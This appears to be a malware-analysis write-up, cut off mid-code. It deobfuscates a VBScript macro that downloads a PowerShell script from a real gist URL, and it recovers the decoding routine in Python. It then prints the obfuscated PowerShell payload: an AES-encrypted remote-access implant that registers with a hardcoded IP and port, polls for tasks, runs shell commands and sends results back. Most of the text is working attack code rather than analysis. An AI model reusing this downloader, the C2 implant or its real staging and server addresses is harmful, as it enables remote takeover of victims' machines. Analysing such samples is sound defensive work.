²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥ = CreateObject("Shell.Application") ³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬ = ¦¡º¾¿°®¹½º°¡£¿¡¢³´º¥¦²¤°°·¥®½½¡¶«¥¸¹«©·¬°·®¶£³¬§§¹°«µ©¹¢´¥ª¾¾¸»¹©§²·°¢ª¸¢£¡ + ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨("\k¿i6Ü_~Bb@") ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².Open "get", ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨("ܳ³Bb://uàb³~uà³Ü¿k¿bE²6xi³Ei³~6xQ/k7¿_iQ_i/fÀ3_o-3Yf0_E6m6kk3_km§3Y03ÀY_3__/²_Ä/À3EÀkfmfÀ@Eããoãä§k@_@ã0ä6_E3-ãY036-@@koo/_Àmb6m@§~Bb@"), FALSE ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².send ´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦ = ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².responseBody If ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².Status = 200 Then Set ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼ = CreateObject("adodb.stream") ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Open ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Type = ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡ ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Write ´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦ ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.SaveToFile ³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬, ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡ + ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡ ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Close End If ²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥.Open (³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬) Else MsgBox '³P³²ÛP³xP²¿iPQEPk²x") End IfEnd SubManually renaming variables is painful — I only managed to partially rename function_1 before running out of steam. But I spotted this section:
Set ²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥ = CreateObject("Shell.Application")³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬ = ¦¡º¾¿°®¹½º°¡£¿¡¢³´º¥¦²¤°°·¥®½½¡¶«¥¸¹«©·¬°·®¶£³¬§§¹°«µ©¹¢´¥ª¾¾¸»¹©§²·°¢ª¸¢£¡ + ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨("\k¿i6Ü_~Bb@")³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².Open "get", ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨("ܳ³Bb://uàb³~uà³Ü¿k¿bE²6xi³Ei³~6xQ/k7¿_iQ_i/fÀ3_o-3Yf0_E6m6kk3_km§3Y03ÀY_3__/²_Ä/À3EÀkfmfÀ@Eããoãä§k@_@ã0ä6_E3-ãY036-@@koo/_Àmb6m@§~Bb@"), FALSE³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².send´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦ = ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².responseBodyIf ³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸².Status = 200 Then Set ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼ = CreateObject("adodb.stream") ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Open ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Type = ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡ ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.Write ´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦ ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.SaveToFile ³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬, ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡ + ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡ ¥·µ¬¹¿¬¯¨³³¿¯©¶¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼.CloseEnd If²ª²µº´©¤£¤¡½¯ª¸¯¿¦¤¢§¸®¼³¨¦¶¨¥³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥.Open (³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬)After renaming variables in this section:
If var_1 < var_2 Then Set var_3 = CreateObject("microsoft.xmlhttp") Set var_4 = CreateObject("Shell.Application") ³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬ = ¦¡º¾¿°®¹½º°¡£¿¡¢³´º¥¦²¤°°·¥®½½¡¶«¥¸¹«©·¬°·®¶£³¬§§¹°«µ©¹¢´¥ª¾¾¸»¹©§²·°¢ª¸¢£¡ + function_1("\k¿i6Ü_~Bb@") var_3.Open "get", function_1("ܳ³Bb://uàb³~uà³Ü¿k¿bE²6xi³Ei³~6xQ/k7¿_iQ_i/fÀ3_o-3Yf0_E6m6kk3_km§3Y03ÀY_3__/²_Ä/À3EÀkfmfÀ@Eããoãä§k@_@ã0ä6_E3-ãY036-@@koo/_Àmb6m@§~Bb@"), FALSE var_3.send ´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦ = var_3.responseBody If var_3.Status = 200 Then Set var_4 = CreateObject("adodb.stream") var_4.Open var_4.Type = ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡ var_4.Write ´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡¼«¼´ª³²¬¸®º¼¤¼¬¿¥§·«´¡¤´½¨µ£³¯½°²ª²µº´©¤£¤¡½¯ª¸¯¿¦ var_4.SaveToFile ³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬, ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡ + ¦»ª¹½¦¢¨»¸¸¸º²£²«µ¤¶¸¹µ«¶§¾¼µ®»¶¾ªºº³¦º§°¹¢¸¡³®»¹¶¯¾£º¦£¥²´¼¦¥²·´©¡»¨´°¦¼®¬®«»·»¢¶¶¿®«¾¢·³§½¿¤½¿§¡ var_4.Close End If var_4.Open (³°©¢¾¾¡µ¼£¹£»©¶©£¦µ¥¹¢µ¹·½§²¶·¼¥¨º»¡´¾«½²¢¢£°¨¤°º¥¦´¢¡¥¹¤¾½³¥¸²¤µ»°°§§¹¾©·¬·ª°¸°¡¥·µ¬¹¿¬)Else MsgBox '³P³²ÛP³xP²¿iPQEPk²x")End IfThis code likely fetches a web page. function_1 probably decrypts those obfuscated strings into a URL. Rewrite function_1 in Python to verify:
def function_1(var1): var2 = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãä娶§Ú¥" var3 = "ãXL1lYU~Ùä,Ca²ZfÃ@dO-cq³áÕsÄJV9AQnvbj0Å7WI!RBg§Ho?K_F3.Óp¥ÖePâzk¶ÛNØ%G mÜ^M&+¡#4)uÀrt8(ÒSw|T*Â$EåyhiÚx65Dà¿2ÁÔ" var6 = ""
for char in var1: var4 = var2.find(char) if var4 > -1: var5 = var3[var4] var6 += var5 else: var6 += char
return var6print(function_1("ܳ³Bb://uàb³~uà³Ü¿k¿bE²6xi³Ei³~6xQ/k7¿_iQ_i/fÀ3_o-3Yf0_E6m6kk3_km§3Y03ÀY_3__/²_Ä/À3EÀkfmfÀ@Eããoãä§k@_@ã0ä6_E3-ãY036-@@koo/_Àmb6m@§~Bb@"))Looks correct :))
'https://gist.githubusercontent.com/bquanman/98da73d49faec0cbbdab02d4fd84adaa/raw/8de8b90981e667652b1a16f5caed364fdc311b77/a80sc012.ps1'This URL hosts a .ps1 file. Downloading and deobfuscating it reveals:
${8r`T3WA} = [tyPe]("{1}{8}{4}{6}{5}{9}{2}{3}{0}{7}"-F 'd',("{0}{1}"-f 'syS','TEm'),("{1}{0}"-f'ERM','h'),'O',("{0}{1}"-f 'eCUrI','tY'),("{0}{1}" -f 'h','Y.Ci'),("{0}{1}{2}" -f '.cry','P','TOGRap'),'e','.s','p') ;.('SV') ("{0}{1}"-f '72','j5O') ( [TYpe]("{9}{1}{4}{0}{8}{10}{6}{12}{7}{11}{3}{2}{5}" -F 'TY',("{1}{2}{0}" -f 'eC','Yst','em.s'),'Od','m','uri','e','p','Di',("{0}{1}" -f'.','cRY'),'s',("{2}{1}{0}"-f 'Y.','toGRapH','p'),'ng','aD') ) ; ${X`NfD}=[tyPe]("{2}{0}{1}{3}"-f 'te',("{0}{1}"-f'm','.cONV'),'Sys','ErT') ; ${H`LvW1} = [tYPe]("{2}{4}{3}{5}{1}{0}" -f 'iNG',("{0}{2}{1}" -f 't','Od','.EnC'),'S',("{1}{2}{0}"-f '.t','S','tEM'),'Y','EX'); .("{0}{2}{1}" -f'SeT','m',("{0}{1}"-f'-iT','e')) (("{0}{1}"-f 'vA','RI')+("{0}{1}" -f 'a','bLE')+("{1}{0}" -f'y7',':92')) ( [Type]("{1}{2}{0}" -F ("{1}{0}{2}"-f 'NEt.dn','eM.','S'),'Sys','t')) ; ${U`JX`Rc}=[tyPE]("{1}{2}{0}" -F 'nG','Str','i') ;
function Cr`EATe-`AeS`manA`GeDo`B`Je`Ct(${vx`ZT`mff}, ${5`T`MRWpLUy}) {
${AJuJ`V`RAZ`99} = .("{1}{2}{3}{0}"-f 't',("{0}{1}" -f'Ne','w-'),("{1}{0}" -f 'e','Obj'),'c') ("{7}{9}{8}{0}{10}{2}{6}{5}{3}{11}{1}{4}"-f 'ty','nag',("{0}{2}{1}" -f 'Cry','o','pt'),'y','ed','ph','gra',("{0}{1}"-f'Sy','stem.'),("{0}{1}"-f 'ecur','i'),'S','.',("{0}{2}{1}" -f'.','sMa','Ae')) ${AJUjvr`AZ`99}."Mo`de" = ( .("{1}{2}{0}" -f 'lE',("{1}{0}" -f't-vA','gE'),("{1}{0}" -f'Ab','RI')) ("8rt"+"3Wa") -Value )::"c`Bc" ${aJuj`V`RAZ99}."PA`d`dInG" = ( .("{0}{1}"-f 'Di','r') ("{2}{3}{0}{1}"-f'le:72j5','o','v','ARIab') )."VA`LUe"::"ze`Ros" ${A`JUJvr`Az`99}."Bl`O`ckSizE" = 128 ${Aju`Jv`RAz`99}."keysI`ze" = 256
if (${5`TM`RWPluy}) {
if (${5`TmR`WpLuy}.("{0}{1}{2}" -f ("{1}{0}"-f 'tT','ge'),'y','pe')."iNV`O`ke"()."n`AME" -eq ("{0}{2}{1}" -f 'St','g','rin')) { ${a`j`U`jvRaZ99}."Iv" = (&("{1}{0}"-f'r','di') ("{0}{1}{2}{3}" -f 'va','RI','aB','le:xNFd'))."vAl`Ue"::("{1}{2}{3}{0}"-f 'ing','Fro',("{1}{0}{2}" -f'se','mBa','64'),'Str')."In`VOKe"(${5TMRW`Pl`Uy}) }
else { ${ajUj`VraZ`99}."I`V" = ${5tmRw`PL`Uy} } }
if (${Vx`ZtM`FF}) {
if (${VXz`T`mfF}.("{1}{2}{0}" -f ("{1}{0}"-f'e','Typ'),'g','et')."I`NvoKe"()."n`AME" -eq ("{1}{0}" -f 'ing','Str')) { ${ajU`j`VraZ99}."K`ey" = ( &('LS') (("{0}{1}"-f'V','ariAb')+'l'+("{0}{1}" -f 'e:XN','F')+'D') )."vA`luE"::("{1}{0}{2}{3}"-f'e',("{1}{0}" -f'as','FromB'),'64S',("{1}{0}" -f 'ng','tri'))."invO`Ke"(${vx`z`TmFF}) }
else { ${AjU`J`Vr`AZ99}."k`ey" = ${v`Xz`Tmff} } }
${aJUjvRA`Z`99}}function e`N`CRYpT(${VxzT`M`Ff}, ${RO`FPdq`R`F99}) {
${B`y`TES} = ( .("{1}{0}"-f ("{1}{2}{0}"-f 'e','arI','abl'),'v') (("{1}{0}" -f'lvW','h')+'1') )."vAL`UE"::"u`Tf8".("{2}{0}{1}" -f 'yt','es',("{0}{1}" -f 'G','etB'))."INV`o`kE"(${r`O`FpdQRF99}) ${ajujVR`AZ`99} = .("{4}{0}{2}{5}{3}{1}"-f("{1}{0}" -f'-','eate'),'ct','Ae',("{1}{0}" -f'e','edObj'),'Cr',("{1}{0}{2}"-f 'Ma','s','nag')) ${VX`ZtM`Ff} ${qD`IqL`GaQ99} = ${aJuj`VR`AZ99}.("{1}{2}{0}" -f'or',("{0}{1}{2}" -f'Create','En','c'),("{1}{0}" -f 't','ryp'))."in`VoKe"() ${lw`i`hYmIF99} = ${Qd`i`qLgaq99}.("{3}{4}{1}{0}{2}"-f ("{0}{1}{2}"-f 'nal','Bl','o'),("{1}{0}" -f'mFi','for'),'ck','Tra','ns')."i`NvO`Ke"(${b`yTeS}, 0, ${b`y`Tes}."Le`NgTh"); [byte[]] ${f`J`AxUWQ`N99} = ${A`Ju`jvR`Az99}."Iv" + ${lW`iHYmiF`99} ${aj`UJ`V`RAZ99}.("{1}{2}{0}"-f 'e','Dis','pos')."i`NVO`KE"() ${x`NFd}::"tOBase6`4`S`TRi`NG"."i`Nvoke"(${Fj`A`X`UWqN99})}function deC`Ry`PT(${VXzt`m`FF}, ${b`KJrxQ`Cf`99}) {
${bYT`Es} = (&("{0}{2}{1}" -f'v',("{0}{1}" -f 'i','able'),'AR') ('xnf'+'d') )."Va`luE"::("{3}{1}{2}{0}" -f ("{0}{1}" -f'r','ing'),'o',("{2}{0}{1}"-f'e6','4St','mBas'),'Fr')."InV`OKE"(${Bk`jRx`qcF99}) ${5t`MR`WpLuY} = ${B`Y`Tes}[0..15] ${aJu`JVra`z99} = .("{0}{2}{4}{3}{1}" -f ("{1}{0}"-f'rea','C'),("{1}{0}"-f 'ect','j'),("{0}{1}" -f't','e-Aes'),'dOb',("{0}{1}{2}"-f'Mana','g','e')) ${VxZTm`FF} ${5TMRw`p`LUY} ${MNDm`WYnB`99} = ${AJ`Ujv`RA`z99}.("{4}{0}{2}{1}{3}" -f'ea','ry',("{0}{1}"-f'te','Dec'),("{0}{1}"-f'p','tor'),'Cr')."In`Voke"(); ${A`htL`MYh`l99} = ${M`ND`mWynB99}.("{0}{3}{1}{4}{5}{2}"-f 'T',("{0}{1}"-f 'fo','rmFi'),("{1}{0}"-f'lock','B'),("{1}{0}" -f's','ran'),'na','l')."i`Nvo`kE"(${b`Y`TES}, 16, ${b`yTeS}."lENg`TH" - 16); ${A`J`UjVRAZ99}.("{1}{0}"-f 'se',("{1}{0}" -f 'spo','Di'))."IN`VO`KE"() ${HLV`W1}::"uT`F8"."G`E`TStri`Ng"(${AhtL`m`Y`hl99})."T`RIM"([char]0)}function Sh`ELL(${DfJz`1co}, ${y`o`8xm5}){
${Cw`zVY`VJ} = &("{1}{2}{0}" -f 'ct','Ne',("{0}{1}"-f 'w-O','bje')) ("{4}{3}{5}{0}{1}{2}"-f ("{5}{2}{0}{3}{4}{1}"-f'P','I','cs.','roc','essStart','i'),'n','fo',("{0}{1}"-f'ys','te'),'S',("{0}{2}{1}"-f'm.Di','st','agno')) ${Cw`ZVy`Vj}."FIlena`me" = ${DFjZ1`co} ${C`W`zvYvj}."r`eDIRec`TsT`AnDaRdERr`OR" = ${T`Rue} ${cwZ`V`YVJ}."ReDIRE`cT`s`TANdar`DoUTPUT" = ${tR`Ue} ${C`WZv`yVJ}."USEs`hELl`eXeC`U`Te" = ${F`ALsE} ${c`wzvy`VJ}."aRg`UmENtS" = ${yO8`x`m5} ${p} = .("{0}{2}{1}" -f'New',("{1}{0}"-f 'ject','Ob'),'-') ("{6}{0}{4}{3}{1}{2}{5}" -f("{1}{2}{0}" -f 'Dia','yst','em.'),("{1}{2}{0}"-f 'P','o','stics.'),'ro','n','g',("{0}{1}" -f 'ces','s'),'S') ${P}."s`T`ArTiN`FO" = ${C`W`zvYVj}
${p}.("{1}{0}" -f("{1}{0}"-f'art','t'),'S')."INvo`KE"() | &("{2}{1}{0}"-f'l',("{1}{0}" -f'Nul','t-'),'Ou') ${P}.("{2}{1}{0}{3}"-f'Exi',("{0}{1}"-f 'tF','or'),'Wai','t')."inv`oKE"()
${BHnxN`Ur`W99} = ${p}."sta`Ndar`dOu`TpUT".("{2}{0}{1}" -f("{1}{0}" -f 'En','To'),'d',("{0}{1}" -f 'R','ead'))."I`NV`OkE"() ${NmWkj`O`A`B99} = ${p}."St`A`N`dArde`RrOR".("{2}{1}{3}{0}"-f'nd','To',("{1}{0}" -f'd','Rea'),'E')."Inv`o`ke"() ${k`C`NjcQdL} = ('VAL'+'ID '+"$BhnXnUrW99`n$nmWKJOAb99") ${K`cnJcQ`Dl}}${FZvyCr} = ("{0}{2}{3}{1}" -f '12',("{0}{1}{2}"-f '.2','07',("{1}{0}" -f'20','.2')),'8',("{1}{0}"-f'9','.19'))${t`wFTrI} = ("{0}{1}"-f'7','331')${VxzTmff} = ("{2}{1}{4}{6}{3}{0}{7}{5}"-f 'XI',("{0}{1}{2}" -f 'w',("{0}{1}" -f 'jM7','m2'),'c'),("{0}{1}" -f 'd','/3K'),'u','GAt','+M=',("{0}{1}{2}" -f'L','I',("{1}{0}"-f("{1}{0}"-f'lhD','7K'),'6')),("{0}{2}{3}{1}"-f("{2}{1}{0}"-f 'KST','XR','/'),'R',("{0}{1}"-f'k',("{1}{0}"-f'lmJ','O')),("{0}{1}"-f 'XE','42')))${n} = 3${C`w`j2TWh} = ""${yC`RU`Tw} = ${9`2Y7}::("{2}{0}{1}"-f("{1}{0}{2}"-f't','etHos','N'),'ame','G')."in`VoKE"()${F`N`FFGXDzj} = "p"${D`FctD`FM} = (("{0}{1}" -f'ht','tp') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/reg")${kV`QBXbuR} = @{ ("{0}{1}"-f 'n','ame') = "$YCRUTw" ("{1}{0}"-f 'pe','ty') = "$fNFFGXDZJ" }${CWj2`TWh} = (&("{4}{3}{2}{0}{1}"-f '-',("{1}{2}{0}"-f't','W','ebReques'),'ke','nvo','I') -UseBasicParsing -Uri ${d`Fct`DFM} -Body ${k`V`qBxbUr} -Method ("{1}{0}"-f'OST','P'))."co`N`TENT"${TvYM`e`YrR99} = (("{0}{1}"-f'htt','p') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/results/$cWJ2Twh")${i`JfySE2} = (("{1}{0}" -f 'p','htt') + ':' + "//$FZVYCR" + ':' + "$TwFTRi/tasks/$cWJ2Twh")for (;;){
${M`A04XM`gY} = (.("{2}{0}{3}{1}{4}" -f'n',("{0}{1}"-f'q','ues'),'I',("{0}{1}{2}" -f 'voke-W','e','bRe'),'t') -UseBasicParsing -Uri ${I`J`FYSE2} -Method 'GET')."cO`N`TeNt"
if (-Not ${UJX`Rc}::("{1}{0}{3}{2}"-f 'l',("{0}{1}"-f'IsN','ul'),("{1}{0}{2}" -f 'mpt','rE','y'),'O')."INvO`Ke"(${M`A04XmGy})){
